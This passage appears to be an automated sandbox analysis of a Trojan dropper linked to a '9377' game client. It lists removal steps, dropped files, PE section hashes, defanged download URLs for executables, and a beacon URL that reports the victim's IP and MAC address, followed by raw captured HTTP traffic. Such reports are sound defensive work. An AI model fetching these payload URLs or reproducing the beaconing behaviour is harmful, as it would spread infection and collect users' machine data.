- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
MYLogger.exe:776
9377mycs_Y_mgaz2_01.exe:1104 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%WinDir%\Temp\scs9.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (4 bytes)
%WinDir%\Temp\scsA.tmp (10145 bytes)
C:\$Directory (4 bytes)
%System% (3048 bytes)
%Documents and Settings%\%current user%\FAVORITES (4 bytes)
%Program Files%\MESSENGER (4 bytes)
%Program Files%\Internet Explorer (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (636 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (992 bytes)
%Documents and Settings%\All Users (4 bytes)
%Program Files%\Windows NT (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%System%\config (8 bytes)
%Documents and Settings%\All Users\Start Menu (4 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ (4 bytes)
%WinDir%\Temp\scs7.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (484 bytes)
%WinDir%\Temp\Perflib_Perfdata_668.dat (4 bytes)
%Program Files%\Common Files\Adobe\Acrobat\ActiveX (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs (4 bytes)
%WinDir%\Temp\scs8.tmp (10145 bytes)
%Documents and Settings%\%current user%\Cookies (192 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\120148\uninst.lnk (713 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ins1256858[1].exe (65488 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@baidu[1].txt (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\9377mycs_Y_mgaz2_01[1].exe (43024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\F0916_s_30911.exe (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\G0828_s_70988.exe (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\ins1256858.exe (65488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Desktop\Intrenet Explorer.lnk (1 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\NsProcess.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe (43024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iplookup[1].htm (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Program Files%\120148\Uninstall.exe (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\2.ico (9291 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\1.rar (20 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@9377[1].txt (122 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quick_register[1].jpg (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[2].js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[2].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[1].css (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ajax[1].js (3848 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[1].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\wczc_btn[1].jpg (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[2].css (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\input_bg[1].jpg (6 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@9377[2].txt (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ajax[1].js (5745 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\uninstall.lnk (1 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MeiYing.dll (16288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ip.dll (784 bytes)
%Documents and Settings%\All Users\Desktop\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn5.tmp (32278 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.exe (13368 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\uninstall.exe (2275 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.ini (595 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 23628 | 24064 | 4.46394 | 856b32eb77dfd6fb67f21d6543272da5 |
.rdata | 28672 | 4764 | 5120 | 3.4982 | dc77f8a1e6985a4361c55642680ddb4f |
.data | 36864 | 154712 | 1024 | 3.3278 | 7922d4ce117d7d5b3ac2cffe4b0b5e4f |
.ndata | 192512 | 36864 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rsrc | 229376 | 28760 | 29184 | 4.09227 | 0dd3a9d45b800678a53c0e906327f10f |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://int.dpool.sina.com.cn/iplookup/iplookup.php | 180.149.136.219 |
hxxp://d.jidihe.com/dudu/netbian_a_41763.exe | |
hxxp://08913.xdwscache.ourwebpic.com/20140928/9377mycs_Y_mgaz2_01.exe | |
hxxp://www.9377.com/api/client_data_receive.php?Name=9377meiying&Channel=mgaz2&referer_param=01&Version=1.1.0.8&IP=192.168.11.128&MAC=00-0C-29-FD-55-AD&Installtime=2016/5/9/7:52:13&ExeName=C:Documents and SettingsadmLocal SettingsTempsz2.tmp9377mycs_Y_mgaz2_01.exe | 103.243.93.22 |
hxxp://aqgw.n.shifen.com/index/fulldownload/30911 | |
hxxp://swwx.n.shifen.com/go/full/2/30911 | |
hxxp://www.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01 | 103.243.93.22 |
hxxp://swwx.n.shifen.com/go/full/2/.exe | |
hxxp://swwx.n.shifen.com/go/full/1/70988 | |
hxxp://swwx.n.shifen.com/go/full/1/.exe | |
hxxp://dldir1.qq.com.cdngc.net/invc/tt/QQBrowser_Setup_Hk_78653.exe | 37.29.0.60 |
hxxp://08913.xdwscache.ourwebpic.com/js/ajax.js?20160509101453 | |
hxxp://08913.xdwscache.ourwebpic.com/style/my/pc_new.css?20160509101453 | |
hxxp://08913.xdwscache.ourwebpic.com/js/jquery.Slideshow.js?20160509101453 | |
hxxp://dl.p2sp.n.shifen.com/BaiduPlayerContent/BaiduPlayerNetSetup_481.exe | |
hxxp://08913.xdwscache.ourwebpic.com/js/fast_register.js?20160509101453 | |
hxxp://08913.xdwscache.ourwebpic.com/images/my/pc/quick_register.jpg | |
hxxp://08913.xdwscache.ourwebpic.com/images/my/pc/wczc_btn.jpg | |
hxxp://08913.xdwscache.ourwebpic.com/images/my/pc/input_bg.jpg | |
hxxp://g.quwen320.com/d/ins1256858.exe | 219.238.237.210 |
hxxp://cdnsource.9377.com/images/my/pc/quick_register.jpg | 87.245.198.83 |
hxxp://cdnsource.9377.com/js/ajax.js?20160509101453 | 87.245.198.83 |
hxxp://cdnsource.9377.com/images/my/pc/wczc_btn.jpg | 87.245.198.83 |
hxxp://w.x.baidu.com/go/full/2/.exe | 123.125.65.175 |
hxxp://w.x.baidu.com/go/full/1/70988 | 123.125.65.175 |
hxxp://cdnsource.9377.com/js/fast_register.js?20160509101453 | 87.245.198.83 |
hxxp://cdnsource.9377.com/js/jquery.Slideshow.js?20160509101453 | 87.245.198.83 |
hxxp://dl.p2sp.baidu.com/BaiduPlayerContent/BaiduPlayerNetSetup_481.exe | 61.135.185.123 |
hxxp://cdnsource.9377.com/images/my/pc/input_bg.jpg | 87.245.198.83 |
hxxp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01 | 103.243.93.22 |
hxxp://cdnsource.9377.com/style/my/pc_new.css?20160509101453 | 87.245.198.83 |
hxxp://down.qunasou.com/dudu/netbian_a_41763.exe | 119.84.119.100 |
hxxp://xiazai.9377.com/20140928/9377mycs_Y_mgaz2_01.exe | 87.245.198.83 |
hxxp://shadu.baidu.com/index/fulldownload/30911 | 111.206.37.179 |
hxxp://w.x.baidu.com/go/full/2/30911 | 123.125.65.175 |
hxxp://dldir1.qq.com/invc/tt/QQBrowser_Setup_Hk_78653.exe | 37.29.0.60 |
hxxp://w.x.baidu.com/go/full/1/.exe | 123.125.65.175 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /invc/tt/QQBrowser_Setup_Hk_78653.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: dldir1.qq.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Date: Mon, 09 May 2016 04:52:18 GMT
Server: PWS/8.1.36
X-Px: ms h0-s1144.v0-mow ( h0-s1057.v0-mow), ms h0-s1057.v0-mow ( h0-s1.p6-hkg), ms h0-s1.p6-hkg ( origin)
Cache-Control: max-age=30
Expires: Mon, 09 May 2016 04:52:48 GMT
Age: 0
Content-Length: 88
Content-Type: text/html
Last-Modified: Mon, 09 May 2016 04:50:00 GMT
Connection: keep-alive
The requested URL '/invc/tt/QQBrowser_Setup_Hk_78653.exe' was not found on this server..HTTP/1.1 404 Not Found..Date: Mon, 09 May 2016 04:52:18 GMT..Server: PWS/8.1.36..X-Px: ms h0-s1144.v0-mow ( h0-s1057.v0-mow), ms h0-s1057.v0-mow ( h0-s1.p6-hkg), ms h0-s1.p6-hkg ( origin)..Cache-Control: max-age=30..Expires: Mon, 09 May 2016 04:52:48 GMT..Age: 0..Content-Length: 88..Content-Type: text/html..Last-Modified: Mon, 09 May 2016 04:50:00 GMT..Connection: keep-alive..The requested URL '/invc/tt/QQBrowser_Setup_Hk_78653.exe' was not found on this server....
GET /style/my/pc_new.css?20160509101453 HTTP/1.1
Accept: */*
Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cdnsource.9377.com
Connection: Keep-Alive
Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 04:52:19 GMT
Expires: Wed, 08 Jun 2016 03:14:08 GMT
Server: nginx/1.4.7
Content-Type: text/css
Last-Modified: Thu, 14 May 2015 03:37:28 GMT
Transfer-Encoding: chunked
Cache-Control: max-age=2592000
Content-Encoding: gzip
X-Via: 1.1 jfzh181:80 (Cdn Cache Server V2.0), 1.1 db77:1 (Cdn Cache Server V2.0)
Connection: keep-alive
655.............X.n.6.}_`.............o....(..ZR):.c..;.^$J.7[.(.Y@.93.9s.../.*w........,y.....~...|..ZE..`Y..5.\..........?.xc..tF:ZwQ.$......>kg....Y..z......w`T.....eY......,.t..x...X....@.E...JV4.*..vKsT...<.C.}...d58aR.|!.-s..K..Ff..b.O5/.........9dq.2....{.w{.-l.0..P.......)^_.Z..F..3DV..=...d..y......._..|V...7......@..9......T.l..Z......>.G)~{...c.......C#....wR7.d-......zT..:?P^......:K..y...m...T..e.LN...*..R...b-$.tp.8...&.D.5Y..]....=!j.......!.M...M.yc..A}..3....K....*^^... .C..."...,.$..{.....xeQ.7..I..|...mc8*Y. .....8..d....aHXo.VS>..j....t....>........ij..x....6.l.o...p..&..Q.wuv.....>..X..A.1pt%y.I..B..".]..|..L..,"V....,.ay..]..e...6..Q.......j$...W..#&&y...?1..*|./..p~.w.0..As&.#.......G..|7.z]../..4.",.Rd.o.#....;z`.NQ.,P...g".....K.f.]_.d.z...&.7.w..8pBTc.........G.C......].h...wX..._.J.i.....Qo.I.-.l...3.E...i.e......c.4gu......9Fv.&*t <'.i.K.\cq.3.;..$O...|..... . .Q.0..YI..I.-<..#.v$l<...L........8~..5.........l ...g..0..|.6T.jS..O...w`.q..y..ndc.....il..<..#f..I../wB......u......[.:.DR@.@s.^..O.(.jD...?<0V....k.@...qtg}.s.tu..............l.8..S.Lt .@5.*O~.D..|.......h!.W.........s3@..l..1.9....._Q. T6..'Y1.&n.....o..hIb|.@....y 1}...P.q.*..4y.d7..'...W&.Q..8B<..._M...F.....Q.!.........n..R...............%o0L/.t.C....W..g..*....Ra.'_.;.:..N..._.3.......9....y.l.iN...?W.`.k..E.sj.9....%........<Y&0......:...{.r`F..Q..&'E.......>....f..|...M....l..PY..3,^G....H=.P....:...\G0dK;...f....>G.0Y.u...V..........QDlW..g.{.....9[.....V.G.<.%umi.....
<<< skipped >>>
GET /js/jquery.Slideshow.js?20160509101453 HTTP/1.1
Accept: */*
Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cdnsource.9377.com
Connection: Keep-Alive
Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 04:52:19 GMT
Expires: Wed, 08 Jun 2016 02:16:17 GMT
Server: nginx/1.4.7
Content-Type: application/x-javascript
Last-Modified: Fri, 08 Jun 2012 03:41:55 GMT
Transfer-Encoding: chunked
Cache-Control: max-age=2592000
Content-Encoding: gzip
X-Via: 1.1 jfzh181:88 (Cdn Cache Server V2.0), 1.1 db78:5 (Cdn Cache Server V2.0)
Connection: keep-alive
e11.............Zms........;&. ,...6....LhH:.i...0ki%..... ....c<iI.Nc....!..bc..B..M..I.I3....I...wW.eC..f...y..{....9g.]y..M.?.6.....Z8y}...V...N...O].01v....;K.c3G..~O.\~........v%o..X.c..}.85......_#.d...,....vr.........wn.^.f...W.5!#.wb.~q......K....c..]..t..5..r...p|g.u.f.Ge.5...b.f.....?=yg....So.O,}|...|.p....7n..>.|7>....D.....GN-}......,>8ze..._..2. k.. .ED..#...q.*.'?.......1..4{ab..././.Z:...%.|....'..9...w..a?..~.......$..{.Sg..;|.#n......L.z.........[....)'K.&..\.l....i\*......V@ '.F.!...3......FQ.....7.x,........Y.....'!.k.<.....4............?>:s...... ..?..X>:..pq....O-~...g/..?r...Sw?.~e|..7.O....m..9>w...f..)..9)............w.....?>Aw.Gg.<{..5....T.A.Sb.H.T2.&....J4.....h.t=.)1$#!..Q....^s...U.R..M...=.r...e...K@5.&2N.F....../.....s....k.=.....#'.....'.~q....Wu.}66.V]........?.>.0I..`..w.-N_.uxai.8..i....U...\.....d..c...W..3..Y...)mI......!.y.Q..../..g.).......;.....#.II....M./$...,).1.. .....`)..O.].n..H....m.2...2S9...F.) >...A..T1.y..%>..F....K...}..\....m$8...........eN*D......E..P...G.ht '.".Sr&.ga.l.J...j.;..9&...z.....>.^!g..S3W.`..:.d..Sj...&.....xx0....1 C#..|......|.u~.`r......z....dk.|.. Br9...n^.d'...........e..N1.......M.u.j.#...W%.n..e..%E..z........e. 4....).k....Q..{A....p..)..7....$S:$b...NiT.....@5...P{..).SP:......|T.r..._.....A.L.X...r.j.%/.U[.b<.......y.... _..5...-.."V......R.@..0.......7n.IoQ.m...Z.B..6`.&xR.....v.. ...P.".5q...... A.P/.....6...C..p.)...\._<.W,"....JM...W.P...(hV..-U.[jG.[..Q.O.(..[...5..E.........!.c-..."
<<< skipped >>>
GET /images/my/pc/quick_register.jpg HTTP/1.1
Accept: */*
Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cdnsource.9377.com
Connection: Keep-Alive
Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01
HTTP/1.1 200 OK
Expires: Wed, 08 Jun 2016 00:42:25 GMT
Date: Mon, 09 May 2016 00:42:25 GMT
Server: nginx/1.4.7
Content-Type: image/jpeg
Content-Length: 8822
Last-Modified: Wed, 25 Jun 2014 07:41:24 GMT
ETag: "53aa7d24-2276"
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Age: 1
X-Via: 1.1 db77:3 (Cdn Cache Server V2.0)
Connection: keep-alive
......Exif..II*.................Ducky.......<..... hXXp://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:75A9C2DFFC3411E3B461F5D43F45A904" xmpMM:DocumentID="xmp.did:75A9C2E0FC3411E3B461F5D43F45A904"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75A9C2DDFC3411E3B461F5D43F45A904" stRef:documentID="xmp.did:75A9C2DEFC3411E3B461F5D43F45A904"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.................................................................................................................................................@.X.......................................................................................Q...R.s..T!1.3.A"q.2..ar.b.....B#........................Q.1A.!2a......R."............?..jw.faL..w.S.s...._.g.|.u....i.......i..~^...l.......ZB[c2......Am.......)..3 .../H.....j.|.".[c2......Am.......)..3 .../H.....j.|.".[c2......Am.......)..3 .../H.....j.|.".[c2......Am.......)..3 .../H.....j.|.".[c2......Am.......)..3 .../H.....j.|.".[c2......Am.......)..3 .../H.....j.
<<< skipped >>>
GET /images/my/pc/input_bg.jpg HTTP/1.1
Accept: */*
Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cdnsource.9377.com
Connection: Keep-Alive
Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01
HTTP/1.1 200 OK
Expires: Wed, 08 Jun 2016 00:42:26 GMT
Date: Mon, 09 May 2016 00:42:26 GMT
Server: nginx/1.4.7
Content-Type: image/jpeg
Content-Length: 6720
Last-Modified: Wed, 25 Jun 2014 07:41:24 GMT
ETag: "53aa7d24-1a40"
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Age: 1
X-Via: 1.1 fuzhou185:8106 (Cdn Cache Server V2.0), 1.1 db78:6 (Cdn Cache Server V2.0)
Connection: keep-alive
......Exif..II*.................Ducky.......<..... hXXp://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:1B768923FC3411E3A5FA883712ECB69B" xmpMM:DocumentID="xmp.did:1B768924FC3411E3A5FA883712ECB69B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1B768921FC3411E3A5FA883712ECB69B" stRef:documentID="xmp.did:1B768922FC3411E3A5FA883712ECB69B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.................................................................................................................................................c............................................................................................!Q...1b.#Sc...A.".aq.2r4.BR..T...3.....CD.......................Q..!1...A.."R...q.a..2Br#............?...#.l.9..dXd&.........*..QS{.....A..-..L....j.] .......e..{.U..v..X.t.K.....p...N...)w..... ....xr...30....w.............:.......r..O..OR...Q.....K....Ugj..w.}.8.|..R..<...l..n.........w.O.q..Vv...}=.8.. ....x....s......K....ej.n .}..4..Kg.......M.....#....M......
<<< skipped >>>
GET /js/ajax.js?20160509101453 HTTP/1.1
Accept: */*
Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cdnsource.9377.com
Connection: Keep-Alive
Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 04:52:19 GMT
Expires: Wed, 08 Jun 2016 02:15:55 GMT
Server: nginx/1.4.7
Content-Type: application/x-javascript
Last-Modified: Mon, 21 Sep 2015 02:03:33 GMT
Transfer-Encoding: chunked
Cache-Control: max-age=2592000
Content-Encoding: gzip
X-Via: 1.1 fuzhou184:8105 (Cdn Cache Server V2.0), 1.1 db78:9 (Cdn Cache Server V2.0)
Connection: keep-alive
400a..............iw......k.?P8n.0!Jrr..!.....xHbg8.RrA..$..8h.....y..*.@.Nw...7k."..k......[..T.W.~Z......e..t6..*o..Y.W......I..b1m...].l.4....|:..7.a...<....*.g.I..t>.....dT..O..<.V..n:.,.i...O.lVy......l>.&.'......l..5....LNG.n:.|.~.<J.gs..\^...x.....y..e...F.,0.i..t.&k..*.>>.*.. .~.....\.E..|., .....~e........V.......=...U{..).........r.T...u..a.......vR.d....4..~x...z?]....ag.H.......N.D...f.. .s.....v1.A=y..-.......KFs..?.f......ml.......j7lM..<}9......'.E:...i]>}....5.w...tPM....:.f.t.......,],g.J..M..jxk..H./.I.......bu.{'uN<N....zz.N.......L...*W6...........Q...A4...,..f.at..O.=.3..D...<.?nOZ..3.......?......*....A...@.7.~mU..hx....Rn.[_...._>.VI....&...%.<.a8.B..@H2N...4........i5...:>..A..\.OG.E5..a.,.N...T[..c.m.a-....Q.).....\..c.U}..X....lV=.......G....4.k..v...>...3...o}.NG.c..(.BLBg.......:..q.N....%.E....h.{..b..d......lN..EI.t9.a.?..f..p@.q..&;.nf..,..3.........`......[.......[tl.(..1.q3.yr....tf.m0.....Mg.jE.(....LqT....h.s..#.....[.o.p...O..t .G....-...Ez.>t...s@..1....]xww./......#..Q..6....v..,M..%.-...2$r......x.^.........rrg..j...y9.y..v...t.32..8..I_...E6...*v. ..!.j.......f<N.C,..Fd.w.ou.r$.O"7.....(.>x....NY..^.8...D.........wI.l..R..........0t......Q...;...N.4..p:.Q...{.6..b......X..Q.Sj.......1....6.......0.....3..G8#..i..5.....}h..K.a.&..Yr.e..O.=.E.o.YgE.] .N=M@....bu..=. Z.&.......t...fg......N..(K......R.r.....A..M..EZ....(.j.....b...pRIC.8....$.$..ve..o.o.N._..O..`...;.....;9K......!o.d~39m...X......7....V}.u....d.pZ....J..
<<< skipped >>>
GET /js/fast_register.js?20160509101453 HTTP/1.1
Accept: */*
Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cdnsource.9377.com
Connection: Keep-Alive
Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 04:52:20 GMT
Expires: Wed, 08 Jun 2016 02:19:32 GMT
Server: nginx/1.4.7
Content-Type: application/x-javascript
Last-Modified: Thu, 20 Aug 2015 06:52:46 GMT
Transfer-Encoding: chunked
Cache-Control: max-age=2592000
Content-Encoding: gzip
X-Via: 1.1 fuzhou191:8080 (Cdn Cache Server V2.0), 1.1 db78:4 (Cdn Cache Server V2.0)
Connection: keep-alive
95e.............Yms....,f.....V.. ;@&...L[u....| T......v7.b.!.$.....MR`(}...2u.L.. ..aW.S.B....j.b.&4.-..=..s.......K..."v.W......R....#......!e..Z.../7.....xx..KY=Y.-..Kb-..'ew...Ee.:s....s......R".5.A.w....../.Mj5.&9H....&...dr.72.....z..X...&..Y......./.........ML..~u7\.......><t./u......U...."u...Y..7.G....9)..}g....m...^~Y....5.......sH...<...`.Xl}9K....cv..g[.j.5U[,...I].C.U_.'.X...R/0}R..I13..."?.s.>....9B......fX.........p.r...p.Zx.3a.."...|.qB@.....w...a..l}[.D..1=...e....lD......'..1U.J.Q.E...8{.@....?...../aPLo.Th..~0&.n[&...f,.I.~B.2b..$.2bm......if..b\...p ....On'q%....I..3'O.6.b...U.q.R..$o...I..>...{x1..../.....lj.f.[.m....@..6..8...pm.,.|?H.V....G9h?>. ..P-...).%.q.....H..0.....S.....=GK....W~>...xN..z.H.>.|.....OAnC.j..W..U..v...r....V.......z.....}.(.Vy...".S.f...n3T........|Z..R..VA..]...(.3.T...,$.Me....n....Y.......l_./lEM?cz..'hQ...5U..R.z.E..|.^x.>.]...9..8..6&..>....5..`..p........)>6..9.h..A"...a.v. .....@&..fz...Q....]YOsm.D...<.,.N..&5.M.I...6S.J..X..;MJ.........vN..v....gP26F...h......u=....4..?....2.5[_...<O.. X7.64.......Q.N.....DX.[.7\u9?}P..iX.:.......r..Y.4'..;.*....S...U...J......h.Ylxt..~q..'...:_.Q...v..a...f.S>c._..P..&..Wp..e...X:}..&K..Fx.,.lU..0"....<6.2.......r.8.'iy..X....4.E)....kL0@..r\.........d]v....d.q...._.[*..V..$...&......W....$...@...f....(J...p....;...p.Z.r%......:.~...X.A.Iy.QP7=.-pe.6G...,pc...C......]"...R}....dg...GEqa..W..G..\........f..W.`...#.l.U..~.a..U*p0....'...6<.'..u(k...<s-...dV..z.#.........V.j.
<<< skipped >>>
GET /images/my/pc/wczc_btn.jpg HTTP/1.1
Accept: */*
Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cdnsource.9377.com
Connection: Keep-Alive
